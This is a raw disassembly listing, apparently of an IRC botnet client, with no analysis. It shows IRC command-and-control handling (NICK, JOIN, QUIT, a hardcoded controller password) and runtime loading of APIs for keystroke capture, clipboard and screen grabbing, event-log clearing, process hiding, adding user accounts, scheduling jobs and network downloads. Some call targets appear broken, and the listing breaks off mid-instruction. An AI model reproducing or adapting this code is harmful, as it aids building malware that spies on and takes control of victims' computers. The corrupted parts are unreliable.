loc_401F75 lea eax, [ebp+edi*4+var_90] mov [ebp+arg_24], eax loc_409463: ; CODE XREF: sub_401ACD+7A07j mov eax, [ebp+arg_24] mov esi, [eax] cmp esi, ebx jz loc_401F75 push esi call sub_41C159 push eax call sub_40B4F5 pop ecx pop ecx test eax, eax push esi jz short loc_40948A push offset unk_429D60 jmp short loc_40948F ; --------------------------------------------------------------------------- loc_40948A: ; CODE XREF: sub_401ACD+79B4j push offset unk_429D34 loc_40948F: ; CODE XREF: sub_401ACD+79BBj lea eax, [ebp+var_2C4] push eax call sub_41C266 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4094BF push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_4094BF: ; CODE XREF: sub_401ACD+79D4j lea eax, [ebp+var_2C4] push eax call sub_415D38 add [ebp+arg_24], 4 inc edi cmp edi, 20h pop ecx jb short loc_409463 jmp loc_401F75 ; --------------------------------------------------------------------------- loc_4094DB: ; CODE XREF: sub_401ACD+3D85j ; sub_401ACD+3D9Cj cmp [ebp+var_C], ebx jz loc_409644 push edi push [ebp+var_C] call sub_41C2E0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409644 push esi push offset dword_42A2E8 push [ebp+arg_4] call sub_409823 add esp, 0Ch push esi push offset unk_429D1C jmp loc_40963D ; --------------------------------------------------------------------------- loc_409515: ; CODE XREF: sub_401ACD+3D57j ; sub_401ACD+3D6Ej push edi push offset dword_42A24C push [ebp+arg_4] call sub_409823 add esp, 0Ch push edi push offset unk_429CFC jmp loc_40963D ; --------------------------------------------------------------------------- loc_409531: ; CODE XREF: sub_401ACD+3D29j ; sub_401ACD+3D40j push [ebp+esi+var_88] push edi push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409823 add esp, 10h push edi push offset unk_429CDC jmp loc_40963D ; --------------------------------------------------------------------------- loc_409554: ; CODE XREF: sub_401ACD+3CFBj ; sub_401ACD+3D12j push edi push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409823 add esp, 0Ch push edi push offset unk_429CB8 jmp loc_40963D ; --------------------------------------------------------------------------- loc_409570: ; CODE XREF: sub_401ACD+3123j ; sub_401ACD+313Aj push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409823 pop ecx lea eax, [ebp+var_2C4] pop ecx push edi push offset unk_429C98 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_415D38 push edi call sub_41C159 add esp, 14h loc_4095A6: ; CODE XREF: sub_401ACD+7B23j push eax nop call near ptr 26A068Bh loc_4095AD: ; CODE XREF: sub_401ACD+2A5Fj xor eax, eax jmp loc_401F78 ; --------------------------------------------------------------------------- loc_4095B4: ; CODE XREF: sub_401ACD+30F5j ; sub_401ACD+310Cj push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409823 pop ecx lea eax, [ebp+var_2C4] pop ecx push edi push offset unk_429C70 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_415D38 push edi call sub_41C159 add esp, 14h imul eax, 3E8h jmp short loc_4095A6 ; --------------------------------------------------------------------------- loc_4095F2: ; CODE XREF: sub_401ACD+EADj ; sub_401ACD+EC2j push [ebp+esi+var_8C] xor eax, eax cmp [ebp+var_8F0], bl setnz al push eax lea eax, [ebp+var_338] push dword_42909C push eax call sub_40AE84 add esp, 10h lea eax, [ebp+var_338] push eax push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409823 add esp, 0Ch lea eax, [ebp+var_338] push eax push offset unk_429C4C loc_40963D: ; CODE XREF: sub_401ACD+6FCCj ; sub_401ACD+75F1j ... call sub_415DAC pop ecx loc_409643: ; CODE XREF: sub_401ACD+6BD8j pop ecx loc_409644: ; CODE XREF: sub_401ACD+63Dj ; sub_401ACD+649j ... mov eax, [ebp+arg_24] jmp loc_401F78 ; --------------------------------------------------------------------------- loc_40964C: ; CODE XREF: sub_401ACD+A98j ; sub_401ACD+AADj mov esi, [ebp+esi+var_8C] cmp esi, ebx mov [ebp+arg_20], esi jz loc_401F75 cmp [ebp+var_A4], ebx jnz loc_401F75 push offset asc_42CDBC ; "!" push [ebp+var_90] call sub_41CAD4 mov esi, eax push offset word_4CB88C push ebx inc esi call sub_41CAD4 push offset asc_429C48 ; "~" push eax call sub_41CAD4 push [ebp+arg_20] mov edi, eax push offset aCool ; "cool" call sub_41CA50 add esp, 20h test eax, eax jz short loc_4096EB lea eax, [ebp+var_C4] push edi push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_409823 add esp, 14h lea eax, [ebp+var_C4] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_409823 add esp, 0Ch push edi push esi push offset unk_429BC8 jmp loc_4023EE ; --------------------------------------------------------------------------- loc_4096EB: ; CODE XREF: sub_401ACD+7BDAj mov [ebp+arg_24], offset off_42915C loc_4096F2: ; CODE XREF: sub_401ACD+7C41j mov eax, [ebp+arg_24] push edi push dword ptr [eax] call sub_40B713 pop ecx test eax, eax pop ecx jnz short loc_409752 add [ebp+arg_24], 4 cmp [ebp+arg_24], offset off_429160 jb short loc_4096F2 lea eax, [ebp+var_C4] push edi push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n" push [ebp+arg_4] call sub_409823 add esp, 14h lea eax, [ebp+var_C4] push eax push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"... push [ebp+arg_4] call sub_409823 add esp, 0Ch push edi push esi push offset unk_429B74 jmp loc_4023EE ; --------------------------------------------------------------------------- loc_409752: ; CODE XREF: sub_401ACD+7C34j mov edi, [ebp+arg_18] xor esi, esi loc_409757: ; CODE XREF: sub_401ACD+7CB4j cmp [ebp+arg_20], ebx jz loc_401F75 cmp [edi], bl jnz short loc_409777 push [ebp+arg_20] push offset aCool ; "cool" call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_409788 loc_409777: ; CODE XREF: sub_401ACD+7C95j inc esi add edi, 80h cmp esi, 3 jl short loc_409757 jmp loc_401F75 ; --------------------------------------------------------------------------- loc_409788: ; CODE XREF: sub_401ACD+7CA8j shl esi, 7 add esi, [ebp+arg_18] lea eax, [ebp+var_E04] push 7Fh push eax push esi call sub_41BFD0 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_4097BF push ebx push [ebp+var_4] push offset unk_429B54 push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_4097BF: ; CODE XREF: sub_401ACD+7CD6j lea eax, [ebp+var_C4] push eax push offset unk_429B34 loc_4097CB: ; CODE XREF: sub_401ACD+595j ; sub_401ACD+2889j ... call sub_415DAC loc_4097D0: ; CODE XREF: sub_401ACD+1B81j pop ecx loc_4097D1: ; CODE XREF: sub_401ACD+24FDj pop ecx jmp loc_401F75 ; --------------------------------------------------------------------------- loc_4097D7: ; CODE XREF: sub_401ACD+20Ej ; sub_401ACD+223j push [ebp+arg_10] push offset aUserhostS ; "USERHOST %s\r\n" push [ebp+arg_4] call sub_409823 add esp, 0Ch push offset aXI ; "-x+i" push [ebp+arg_10] push offset aModeSS_0 ; "MODE %s %s\r\n" push [ebp+arg_4] call sub_409823 add esp, 10h push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409823 add esp, 10h mov dword_4CB884, edi jmp loc_401D6A sub_401ACD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409823 proc near ; CODE XREF: sub_401955+3Dp ; sub_401ACD+1CBp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 200h lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push 200h push eax call sub_41CB70 add esp, 10h lea eax, [ebp+var_200] push 0 push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CBA24 leave retn sub_409823 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409869 proc near ; CODE XREF: sub_401ACD+506p ; sub_401ACD+134Ep ... var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 400h cmp [ebp+arg_C], 0 push esi push edi mov edi, offset aNotice ; "NOTICE" jnz short loc_409884 mov edi, offset aPrivmsg ; "PRIVMSG" loc_409884: ; CODE XREF: sub_409869+14j push edi call sub_41B9C0 push [ebp+arg_4] mov esi, 1FAh sub esi, eax call sub_41B9C0 pop ecx sub esi, eax pop ecx lea eax, [ebp+var_400] push [ebp+arg_8] push offset aS_1 ; "%s" push esi push eax call sub_41C360 add esp, 10h lea eax, [ebp+var_400] push eax lea eax, [ebp+var_200] push [ebp+arg_4] push edi push offset aSSS_0 ; "%s %s :%s\r\n" push eax call sub_41C266 add esp, 14h lea eax, [ebp+var_200] push 0 push eax call sub_41B9C0 pop ecx push eax lea eax, [ebp+var_200] push eax push [ebp+arg_0] call dword_4CBA24 cmp [ebp+arg_10], 0 pop edi pop esi jz short locret_409907 push 7D0h call near ptr 26A068Bh nop locret_409907: ; CODE XREF: sub_409869+91j leave retn sub_409869 endp ; =============== S U B R O U T I N E ======================================= sub_409909 proc near ; CODE XREF: ___:0040126Cp push ebx push ebp mov ebp, dword_4270A4 push esi push edi push offset aKernel32_dll ; "kernel32.dll" call ebp mov esi, dword_4270C4 mov edi, eax xor ebx, ebx cmp edi, ebx jz loc_409A29 push offset aSeterrormode ; "SetErrorMode" push edi call esi push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push edi mov dword_4CBA80, eax call esi push offset aProcess32first ; "Process32First" push edi mov dword_4CB9F4, eax call esi push offset aProcess32next ; "Process32Next" push edi mov dword_4CB9D8, eax call esi push offset aModule32first ; "Module32First" push edi mov dword_4CB8E8, eax call esi push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA" push edi mov dword_4CB894, eax call esi push offset aGetlogicaldriv ; "GetLogicalDriveStringsA" push edi mov dword_4CB8C4, eax call esi push offset aGetdrivetypea ; "GetDriveTypeA" push edi mov dword_4CB93C, eax call esi push offset aSearchpatha ; "SearchPathA" push edi mov dword_4CBA34, eax call esi push offset aQueryperforman ; "QueryPerformanceCounter" push edi mov dword_4CBA90, eax call esi push offset aQueryperform_0 ; "QueryPerformanceFrequency" push edi mov dword_4CB8F4, eax call esi cmp dword_4CBA80, ebx mov dword_4CB8DC, eax jz short loc_409A07 cmp dword_4CB9F4, ebx jz short loc_409A07 cmp dword_4CB9D8, ebx jz short loc_409A07 cmp dword_4CB8E8, ebx jz short loc_409A07 cmp dword_4CB8C4, ebx jz short loc_409A07 cmp dword_4CB93C, ebx jz short loc_409A07 cmp dword_4CBA34, ebx jz short loc_409A07 cmp dword_4CBA90, ebx jz short loc_409A07 cmp dword_4CB8F4, ebx jz short loc_409A07 cmp eax, ebx jnz short loc_409A11 loc_409A07: ; CODE XREF: sub_409909+B8j ; sub_409909+C0j ... mov dword_4CBA94, 1 loc_409A11: ; CODE XREF: sub_409909+FCj push offset aRegisterservic ; "RegisterServiceProcess" push edi call esi cmp eax, ebx mov dword_4CBA0C, eax jz short loc_409A3E push 1 push ebx call eax jmp short loc_409A3E ; --------------------------------------------------------------------------- loc_409A29: ; CODE XREF: sub_409909+1Dj call near ptr 26B0669h nop mov dword_4CBA98, eax mov dword_4CBA94, 1 loc_409A3E: ; CODE XREF: sub_409909+117j ; sub_409909+11Ej push offset aUser32_dll ; "user32.dll" nop call near ptr 26E0000h mov edi, eax cmp edi, ebx jz loc_409B53 push offset aSendmessagea ; "SendMessageA" push edi call esi push offset aFindwindowa ; "FindWindowA" push edi mov dword_4CBA30, eax call esi push offset aIswindow ; "IsWindow" push edi mov dword_4CB9E0, eax call esi push offset aDestroywindow ; "DestroyWindow" push edi mov dword_4CB974, eax call esi push offset aOpenclipboard ; "OpenClipboard" push edi mov dword_4CBA84, eax call esi push offset aGetclipboardda ; "GetClipboardData" push edi mov dword_4CB9A4, eax call esi push offset aCloseclipboard ; "CloseClipboard" push edi mov dword_4CB9C4, eax call esi push offset aExitwindowsex ; "ExitWindowsEx" push edi mov dword_4CBA28, eax call esi cmp dword_4CBA30, ebx mov dword_4CB914, eax jz short loc_409AF7 cmp dword_4CB9E0, ebx jz short loc_409AF7 cmp dword_4CB974, ebx jz short loc_409AF7 cmp dword_4CBA84, ebx jz short loc_409AF7 cmp dword_4CB9A4, ebx jz short loc_409AF7 cmp dword_4CB9C4, ebx jz short loc_409AF7 cmp dword_4CBA28, ebx jz short loc_409AF7 cmp eax, ebx jnz short loc_409B01 loc_409AF7: ; CODE XREF: sub_409909+1B8j ; sub_409909+1C0j ... mov dword_4CBA9C, 1 loc_409B01: ; CODE XREF: sub_409909+1ECj push offset aGetasynckeysta ; "GetAsyncKeyState" push edi call esi push offset aGetkeystate ; "GetKeyState" push edi mov dword_4CB9A0, eax call esi push offset aGetwindowtexta ; "GetWindowTextA" push edi mov dword_4CB8A8, eax call esi push offset aGetforegroundw ; "GetForegroundWindow" push edi mov dword_4CB970, eax call esi cmp dword_4CB9A0, ebx mov dword_4CB958, eax jz short loc_409B5E cmp dword_4CB8A8, ebx jz short loc_409B5E cmp dword_4CB970, ebx jz short loc_409B5E cmp eax, ebx jnz short loc_409B68 jmp short loc_409B5E ; --------------------------------------------------------------------------- loc_409B53: ; CODE XREF: sub_409909+144j nop call near ptr 26B0669h mov dword_4CBAA0, eax loc_409B5E: ; CODE XREF: sub_409909+232j ; sub_409909+23Aj ... mov dword_4CBA9C, 1 loc_409B68: ; CODE XREF: sub_409909+246j push offset aAdvapi32_dll ; "advapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_409D21 push offset aRegopenkeyexa ; "RegOpenKeyExA" push edi call esi push offset aRegcreatekeyex ; "RegCreateKeyExA" push edi mov dword_4CBA44, eax call esi push offset aRegsetvalueexa ; "RegSetValueExA" push edi mov dword_4CB988, eax call esi push offset aRegqueryvaluee ; "RegQueryValueExA" push edi mov dword_4CB9F8, eax call esi push offset aRegdeletevalue ; "RegDeleteValueA" push edi mov dword_4CB8D4, eax call esi push offset aRegclosekey ; "RegCloseKey" push edi mov dword_4CB938, eax call esi push offset aOpeneventloga ; "OpenEventLogA" push edi mov dword_4CB9B0, eax call esi push offset aCleareventloga ; "ClearEventLogA" push edi mov dword_4CB954, eax call esi cmp dword_4CBA44, ebx mov dword_4CB964, eax jz short loc_409C11 cmp dword_4CB988, ebx jz short loc_409C11 cmp dword_4CB9F8, ebx jz short loc_409C11 cmp dword_4CB8D4, ebx jz short loc_409C11 cmp dword_4CB938, ebx jz short loc_409C11 cmp dword_4CB9B0, ebx jnz short loc_409C1B loc_409C11: ; CODE XREF: sub_409909+2DEj ; sub_409909+2E6j ... mov dword_4CBAA4, 1 loc_409C1B: ; CODE XREF: sub_409909+306j push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi mov dword_4CB9B8, eax call esi push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi mov dword_4CB990, eax call esi cmp dword_4CB9B8, ebx mov dword_4CBA40, eax jz short loc_409C56 cmp dword_4CB990, ebx jz short loc_409C56 cmp eax, ebx jnz short loc_409C60 loc_409C56: ; CODE XREF: sub_409909+33Fj ; sub_409909+347j mov dword_4CBAA4, 1 loc_409C60: ; CODE XREF: sub_409909+34Bj push offset aOpenscmanagera ; "OpenSCManagerA" push edi call esi push offset aOpenservicea ; "OpenServiceA" push edi mov dword_4CB9C8, eax call esi push offset aStartservicea ; "StartServiceA" push edi mov dword_4CB8B0, eax call esi push offset aControlservice ; "ControlService" push edi mov dword_4CB8B8, eax call esi push offset aDeleteservice ; "DeleteService" push edi mov dword_4CB91C, eax call esi push offset aCloseserviceha ; "CloseServiceHandle" push edi mov dword_4CB920, eax call esi push offset aEnumservicesst ; "EnumServicesStatusA" push edi mov dword_4CB8CC, eax call esi push offset aIsvalidsecurit ; "IsValidSecurityDescriptor" push edi mov dword_4CB994, eax call esi cmp dword_4CB9C8, ebx mov dword_4CB8BC, eax jz short loc_409D04 cmp dword_4CB8B0, ebx jz short loc_409D04 cmp dword_4CB8B8, ebx jz short loc_409D04 cmp dword_4CB91C, ebx jz short loc_409D04 cmp dword_4CB920, ebx jz short loc_409D04 cmp dword_4CB8CC, ebx jz short loc_409D04 cmp dword_4CB994, ebx jz short loc_409D04 cmp eax, ebx jnz short loc_409D0E loc_409D04: ; CODE XREF: sub_409909+3C5j ; sub_409909+3CDj ... mov dword_4CBAA4, 1 loc_409D0E: ; CODE XREF: sub_409909+3F9j push offset aGetusernamea ; "GetUserNameA" push edi call esi cmp eax, ebx mov dword_4CB8B4, eax jnz short loc_409D36 jmp short loc_409D2C ; --------------------------------------------------------------------------- loc_409D21: ; CODE XREF: sub_409909+26Aj nop call near ptr 26B0669h mov dword_4CBAA8, eax loc_409D2C: ; CODE XREF: sub_409909+416j mov dword_4CBAA4, 1 loc_409D36: ; CODE XREF: sub_409909+414j push offset aGdi32_dll ; "gdi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_409E02 push offset aCreatedca ; "CreateDCA" push edi call esi push offset aCreatedibsecti ; "CreateDIBSection" push edi mov dword_4CB9C0, eax call esi push offset aCreatecompatib ; "CreateCompatibleDC" push edi mov dword_4CBA18, eax call esi push offset aGetdevicecaps ; "GetDeviceCaps" push edi mov dword_4CBA20, eax call esi push offset aGetdibcolortab ; "GetDIBColorTable" push edi mov dword_4CB9DC, eax call esi push offset aSelectobject ; "SelectObject" push edi mov dword_4CB8F8, eax call esi push offset aBitblt ; "BitBlt" push edi mov dword_4CB8A4, eax call esi push offset aDeletedc ; "DeleteDC" push edi mov dword_4CBA1C, eax call esi push offset aDeleteobject ; "DeleteObject" push edi mov dword_4CB890, eax call esi cmp dword_4CB9C0, ebx mov dword_4CB930, eax jz short loc_409E0D cmp dword_4CBA18, ebx jz short loc_409E0D cmp dword_4CBA20, ebx jz short loc_409E0D cmp dword_4CB9DC, ebx jz short loc_409E0D cmp dword_4CB8F8, ebx jz short loc_409E0D cmp dword_4CB8A4, ebx jz short loc_409E0D cmp dword_4CBA1C, ebx jz short loc_409E0D cmp dword_4CB890, ebx jz short loc_409E0D cmp eax, ebx jnz short loc_409E17 jmp short loc_409E0D ; --------------------------------------------------------------------------- loc_409E02: ; CODE XREF: sub_409909+438j call near ptr 26B0669h nop mov dword_4CBAB0, eax loc_409E0D: ; CODE XREF: sub_409909+4B9j ; sub_409909+4C1j ... mov dword_4CBAAC, 1 loc_409E17: ; CODE XREF: sub_409909+4F5j mov ebp, dword_4270C0 push offset aWs2_32_dll ; "ws2_32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A0D3 push offset aWsastartup ; "WSAStartup" push edi call esi push offset aWsasocketa ; "WSASocketA" push edi mov dword_4CB944, eax call esi push offset aWsaasyncselect ; "WSAAsyncSelect" push edi mov dword_4CBA78, eax call esi push offset a__wsafdisset ; "__WSAFDIsSet" push edi mov dword_4CB8E4, eax call esi push offset aWsaioctl ; "WSAIoctl" push edi mov dword_4CB8C0, eax call esi push offset aWsagetlasterro ; "WSAGetLastError" push edi mov dword_4CB980, eax call esi push offset aWsacleanup ; "WSACleanup" push edi mov dword_4CB968, eax call esi push offset aSocket ; "socket" push edi mov dword_4CB92C, eax call esi push offset aIoctlsocket ; "ioctlsocket" push edi mov dword_4CBA54, eax call esi push offset aConnect ; "connect" push edi mov dword_4CBA70, eax call esi push offset aInet_ntoa ; "inet_ntoa" push edi mov dword_4CB97C, eax call esi push offset aInet_addr ; "inet_addr" push edi mov dword_4CBA60, eax call esi push offset aHtons ; "htons" push edi mov dword_4CBA14, eax call esi push offset aHtonl ; "htonl" push edi mov dword_4CB9D4, eax call esi push offset aNtohs ; "ntohs" push edi mov dword_4CB9D0, eax call esi push offset aNtohl ; "ntohl" push edi mov dword_4CB904, eax call esi push offset aSend ; "send" push edi mov dword_4CB8FC, eax call esi push offset aSendto ; "sendto" push edi mov dword_4CBA24, eax call esi push offset aRecv ; "recv" push edi mov dword_4CBA38, eax call esi push offset aRecvfrom ; "recvfrom" push edi mov dword_4CB9EC, eax call esi mov dword_4CB9AC, eax push offset aBind ; "bind" push edi call esi push offset aSelect ; "select" push edi mov dword_4CBA00, eax call esi push offset aListen ; "listen" push edi mov dword_4CB9BC, eax call esi push offset aAccept ; "accept" push edi mov dword_4CB9FC, eax call esi push offset aSetsockopt ; "setsockopt" push edi mov dword_4CBA68, eax call esi push offset aGetsockname ; "getsockname" push edi mov dword_4CB9B4, eax call esi push offset aGethostname ; "gethostname" push edi mov dword_4CB978, eax call esi push offset aGethostbyname ; "gethostbyname" push edi mov dword_4CB9E8, eax call esi push offset aGethostbyaddr ; "gethostbyaddr" push edi mov dword_4CBA58, eax call esi push offset aGetpeername ; "getpeername" push edi mov dword_4CB98C, eax call esi push offset aClosesocket ; "closesocket" push edi mov dword_4CB928, eax call esi cmp dword_4CB944, ebx mov dword_4CBA6C, eax jz loc_40A0DE cmp dword_4CBA78, ebx jz loc_40A0DE cmp dword_4CB8E4, ebx jz loc_40A0DE cmp dword_4CB980, ebx jz loc_40A0DE cmp dword_4CB968, ebx jz loc_40A0DE cmp dword_4CB92C, ebx jz loc_40A0DE cmp dword_4CBA54, ebx jz loc_40A0DE cmp dword_4CBA70, ebx jz loc_40A0DE cmp dword_4CB97C, ebx jz loc_40A0DE cmp dword_4CBA60, ebx jz loc_40A0DE cmp dword_4CBA14, ebx jz loc_40A0DE cmp dword_4CB9D4, ebx jz loc_40A0DE cmp dword_4CB9D0, ebx jz loc_40A0DE cmp dword_4CB904, ebx jz short loc_40A0DE cmp dword_4CBA24, ebx jz short loc_40A0DE cmp dword_4CBA38, ebx jz short loc_40A0DE cmp dword_4CB9EC, ebx jz short loc_40A0DE cmp dword_4CB9AC, ebx jz short loc_40A0DE cmp dword_4CBA00, ebx jz short loc_40A0DE cmp dword_4CB9BC, ebx jz short loc_40A0DE cmp dword_4CB9FC, ebx jz short loc_40A0DE cmp dword_4CBA68, ebx jz short loc_40A0DE cmp dword_4CB9B4, ebx jz short loc_40A0DE cmp dword_4CB978, ebx jz short loc_40A0DE cmp dword_4CB9E8, ebx jz short loc_40A0DE cmp dword_4CBA58, ebx jz short loc_40A0DE cmp dword_4CB98C, ebx jz short loc_40A0DE cmp eax, ebx jnz short loc_40A0E8 jmp short loc_40A0DE ; --------------------------------------------------------------------------- loc_40A0D3: ; CODE XREF: sub_409909+51Fj call near ptr 26B0669h nop mov dword_4CBAB8, eax loc_40A0DE: ; CODE XREF: sub_409909+6BEj ; sub_409909+6CAj ... mov dword_4CBAB4, 1 loc_40A0E8: ; CODE XREF: sub_409909+7C6j push offset aWininet_dll ; "wininet.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A1ED push offset aInternetgetcon ; "InternetGetConnectedState" push edi call esi push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push edi mov dword_4CB910, eax call esi push offset aHttpopenreques ; "HttpOpenRequestA" push edi mov dword_4CB898, eax call esi push offset aHttpsendreques ; "HttpSendRequestA" push edi mov dword_4CB99C, eax call esi push offset aInternetconnec ; "InternetConnectA" push edi mov dword_4CB948, eax call esi push offset aInternetopena ; "InternetOpenA" push edi mov dword_4CB9A8, eax call esi push offset aInternetopenur ; "InternetOpenUrlA" push edi mov dword_4CB96C, eax call esi push offset aInternetcracku ; "InternetCrackUrlA" push edi mov dword_4CB8D8, eax call esi push offset aInternetreadfi ; "InternetReadFile" push edi mov dword_4CB8D0, eax call esi push offset aInternetcloseh ; "InternetCloseHandle" push edi mov dword_4CB8E0, eax call esi cmp dword_4CB910, ebx mov ecx, dword_4CB96C mov dword_4CBA08, eax jz short loc_40A1C9 cmp dword_4CB898, ebx jz short loc_40A1C9 cmp dword_4CB99C, ebx jz short loc_40A1C9 cmp dword_4CB948, ebx jz short loc_40A1C9 cmp dword_4CB9A8, ebx jz short loc_40A1C9 cmp ecx, ebx jz short loc_40A1C9 cmp dword_4CB8D8, ebx jz short loc_40A1C9 cmp dword_4CB8D0, ebx jz short loc_40A1C9 cmp dword_4CB8E0, ebx jz short loc_40A1C9 cmp eax, ebx jnz short loc_40A1D3 loc_40A1C9: ; CODE XREF: sub_409909+87Ej ; sub_409909+886j ... mov dword_4CBABC, 1 loc_40A1D3: ; CODE XREF: sub_409909+8BEj cmp ecx, ebx jz short loc_40A208 push ebx push ebx push ebx push ebx push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)" call ecx cmp eax, ebx mov dword_4CB984, eax jnz short loc_40A208 jmp short loc_40A202 ; --------------------------------------------------------------------------- loc_40A1ED: ; CODE XREF: sub_409909+7EAj nop call near ptr 26B0669h mov dword_4CBAC0, eax mov dword_4CBABC, 1 loc_40A202: ; CODE XREF: sub_409909+8E2j mov dword_4CB984, ebx loc_40A208: ; CODE XREF: sub_409909+8CCj ; sub_409909+8E0j push offset aIcmp_dll ; "icmp.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A252 push offset aIcmpcreatefile ; "IcmpCreateFile" push edi call esi push offset aIcmpclosehandl ; "IcmpCloseHandle" push edi mov dword_4CB95C, eax call esi push offset aIcmpsendecho ; "IcmpSendEcho" push edi mov dword_4CBA8C, eax call esi cmp dword_4CB95C, ebx mov dword_4CB8EC, eax jz short loc_40A25D cmp dword_4CBA8C, ebx jz short loc_40A25D cmp eax, ebx jnz short loc_40A267 jmp short loc_40A25D ; --------------------------------------------------------------------------- loc_40A252: ; CODE XREF: sub_409909+90Aj nop call near ptr 26B0669h mov dword_4CBAC8, eax loc_40A25D: ; CODE XREF: sub_409909+939j ; sub_409909+941j ... mov dword_4CBAC4, 1 loc_40A267: ; CODE XREF: sub_409909+945j push offset aNetapi32_dll ; "netapi32.dll" call ebp mov edi, eax cmp edi, ebx jz loc_40A36E push offset aNetshareadd ; "NetShareAdd" push edi call esi push offset aNetsharedel ; "NetShareDel" push edi mov dword_4CB8C8, eax call esi push offset aNetshareenum ; "NetShareEnum" push edi mov dword_4CB8A0, eax call esi push offset aNetschedulejob ; "NetScheduleJobAdd" push edi mov dword_4CB918, eax call esi push offset aNetapibufferfr ; "NetApiBufferFree" push edi mov dword_4CB94C, eax call esi push offset aNetremotetod ; "NetRemoteTOD" push edi mov dword_4CBA64, eax call esi push offset aNetuseradd ; "NetUserAdd" push edi mov dword_4CB900, eax call esi push offset aNetuserdel ; "NetUserDel" push edi mov dword_4CB8AC, eax call esi push offset aNetuserenum ; "NetUserEnum" push edi mov dword_4CB89C, eax call esi push offset aNetusergetinfo ; "NetUserGetInfo" push edi mov dword_4CB934, eax call esi push offset aNetmessagebuff ; "NetMessageBufferSend" push edi mov dword_4CBA2C, eax call esi push offset aNetwkstagetinf ; "NetWkstaGetInfo" push edi mov dword_4CB9E4, eax call esi cmp dword_4CB8C8, ebx mov dword_4CB908, eax jz short loc_40A379 cmp dword_4CB8A0, ebx jz short loc_40A379 cmp dword_4CB918, ebx jz short loc_40A379 cmp dword_4CB94C, ebx jz short loc_40A379 cmp dword_4CBA64, ebx jz short loc_40A379 cmp dword_4CB900, ebx jz short loc_40A379 cmp dword_4CB8AC, ebx jz short loc_40A379 cmp dword_4CB89C, ebx jz short loc_40A379 cmp dword_4CB934, ebx jz short loc_40A379 cmp dword_4CBA2C, ebx jz short loc_40A379 cmp dword_4CB9E4, ebx jnz short loc_40A383 jmp short loc_40A379 ; --------------------------------------------------------------------------- loc_40A36E: ; CODE XREF: sub_409909+969j nop call near ptr 26B0669h mov dword_4CBAD0, eax loc_40A379: ; CODE XREF: sub_409909+A11j ; sub_409909+A19j ... mov dword_4CBACC, 1 loc_40A383: ; CODE XREF: sub_409909+A61j push offset aDnsapi_dll ; "dnsapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A3B8 push offset aDnsflushresolv ; "DnsFlushResolverCache" push edi call esi push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push edi mov dword_4CB8F0, eax call esi cmp dword_4CB8F0, ebx mov dword_4CB9CC, eax jz short loc_40A3C3 cmp eax, ebx jnz short loc_40A3CD jmp short loc_40A3C3 ; --------------------------------------------------------------------------- loc_40A3B8: ; CODE XREF: sub_409909+A85j nop call near ptr 26B0669h mov dword_4CBAD8, eax loc_40A3C3: ; CODE XREF: sub_409909+AA7j ; sub_409909+AADj mov dword_4CBAD4, 1 loc_40A3CD: ; CODE XREF: sub_409909+AABj push offset aIphlpapi_dll ; "iphlpapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A402 push offset aGetipnettable ; "GetIpNetTable" push edi call esi push offset aDeleteipnetent ; "DeleteIpNetEntry" push edi mov dword_4CBA50, eax call esi cmp dword_4CBA50, ebx mov dword_4CBA4C, eax jz short loc_40A40D cmp eax, ebx jnz short loc_40A417 jmp short loc_40A40D ; --------------------------------------------------------------------------- loc_40A402: ; CODE XREF: sub_409909+ACFj call near ptr 26B0669h nop mov dword_4CBAE0, eax loc_40A40D: ; CODE XREF: sub_409909+AF1j ; sub_409909+AF7j mov dword_4CBADC, 1 loc_40A417: ; CODE XREF: sub_409909+AF5j push offset aMpr_dll ; "mpr.dll" call ebp mov edi, eax cmp edi, 